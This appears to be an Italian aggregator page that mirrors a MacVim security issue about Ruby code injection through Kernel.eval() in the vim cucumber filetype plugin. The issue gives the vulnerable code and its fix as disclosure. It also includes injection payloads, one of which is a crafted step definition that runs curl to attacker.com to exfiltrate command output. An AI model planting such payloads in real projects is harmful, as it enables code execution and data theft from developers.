[Security] MacVim affected by GHSA-4473-94jm-w5x9 — cucumber filetype plugin Ruby code injection via crafted step patterns (vim < 9.2.0496)

Aperta
#1,654 0 commenti 0 reazioni 0 assegnatari Vedi su GitHub

Nessuno ha ancora preso questa issue.

Valutazione

Difficoltà
3/5
Tempo stimato
1-2 giorni
Idoneità per principianti
68/100
Tipo di issue
Bug
Chiarezza
Specificata chiaramente
Stato di attività
Tranquilla
Stack tecnologico
ruby, vim

Direzione di ricerca

Inizia esaminando runtime/ftplugin/cucumber.vim e confrontando la sua implementazione di s:stepmatch() con il commit upstream di Vim a65a52d684bc58535ad28a4ae824d22e76399934. Aggiorna il runtime incluso per incorporare la correzione di 9.2.0496, quindi verifica che il percorso vulnerabile di Kernel.eval() sia stato sostituito e che la versione del runtime interessata sia aggiornata.

Scritto dal modello di indicizzazione a partire dal testo della issue.

Descrizione

[Security] MacVim affected by GHSA-4473-94jm-w5x9 — cucumber filetype plugin Ruby code injection via crafted step patterns (vim < 9.2.0496)

Summary

MacVim bundles the vim runtime at version 9.2 (patches 1-321 in the current build), which is
below the patched version 9.2.0496 that fixes a code injection vulnerability in the cucumber
filetype plugin's s:stepmatch() function. MacVim supports Ruby (+ruby), making it
susceptible to this attack.

Vulnerability Details

  • GHSA: GHSA-4473-94jm-w5x9
  • Upstream fix: vim 9.2.0496 (commit a65a52d684bc58535ad28a4ae824d22e76399934)
  • Affected code: runtime/ftplugin/cucumber.vims:stepmatch() function
  • Vulnerability type: CWE-94 — Improper Control of Generation of Code (Code Injection)

Root Cause

In s:stepmatch(), when Vimscript's built-in pattern matching fails, the function falls back
to using Ruby's Kernel.eval() to evaluate a regex constructed from an attacker-controlled
pattern:

" runtime/ftplugin/cucumber.vim lines 98-99 (macvim r183)
if has("ruby") && pattern !~ '\\\@<!#{'
  ruby VIM.command("return #{if (begin; Kernel.eval('/'+VIM.evaluate('pattern')+'/'); rescue SyntaxError; end) === VIM.evaluate('a:target') then 1 else 0 end}")

The pattern variable is derived from step-definition strings in .rb files in the
project (via s:allsteps()). If a step definition file contains a pattern like:

/) + system('touch /tmp/pwned') + (/

then Kernel.eval('/'+pattern+'/') becomes:

Kernel.eval('//) + system('touch /tmp/pwned') + (//') 

The rescue SyntaxError guard only prevents a crash; it does not prevent execution of valid
Ruby expressions. An attacker can craft patterns that both execute arbitrary Ruby and are
syntactically valid.

The !~ '\\\@<!#{' check only guards against Ruby string interpolation (#{...}) and does
not protect against regex literal injection.

Attack Scenario
  1. An attacker places a malicious .rb step-definitions file in the project's
    features/step_definitions/ directory with a crafted step pattern:
    Given(/\/) + system('curl http://attacker.com/?$(id)') + (\// ) do
    end
    
  2. The victim opens a .feature file in MacVim (which has +ruby) and uses the
    [d or ]d step-jump mappings that call s:steps()s:stepmatch().
  3. Kernel.eval executes the injected Ruby expression, running system() with
    arbitrary shell commands.

Affected MacVim Code

" cucumber.vim line 99 (macvim r183)
ruby VIM.command("return #{if (begin; Kernel.eval('/'+VIM.evaluate('pattern')+'/'); rescue SyntaxError; end) === VIM.evaluate('a:target') then 1 else 0 end}")

Affected MacVim Version

MacVim r183 (vim 9.2 patches 1-321) — current HEAD as of 2026-05-18.

The fix commit a65a52d684bc58535ad28a4ae824d22e76399934 from vim/vim is not present
in the macvim-dev/macvim repository.

Suggested Fix

Merge or cherry-pick vim/vim patches up to at least 9.2.0496.

The fix replaces Kernel.eval('/'+pattern+'/') with Regexp.new(pattern), which creates a
regex object directly from the string without evaluating arbitrary Ruby code:

# Fixed (vim 9.2.0496):
ruby VIM.command("return #{if (begin; Regexp.new(VIM.evaluate('pattern')); rescue RegexpError; end) === VIM.evaluate('a:target') then 1 else 0 end}")

Regexp.new() only constructs a regular expression; it cannot execute shell commands or
arbitrary Ruby expressions even if the pattern contains injection attempts.

References

Lingua principale
Vim Script
Stelle
7.9k
Fork
691
Metriche di merge delle PR
Nessuna PR unita negli ultimi 30g

Guida per i contributori

Apri la guida per i contributori

Come iniziare

  1. Leggi tutta la issue e poi la guida ai contributi del progetto.
  2. Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
  3. Fai un fork del repository e lavora su un branch.
  4. Apri una pull request che faccia riferimento al numero della issue.

Altre issue di macvim-dev/macvim

Tutte le issue di macvim-dev/macvim

Issue simili

Altre issue su Desktop Dev

Ricevi le nuove issue nella tua casella

Un breve riepilogo di issue GitHub adatte ai principianti.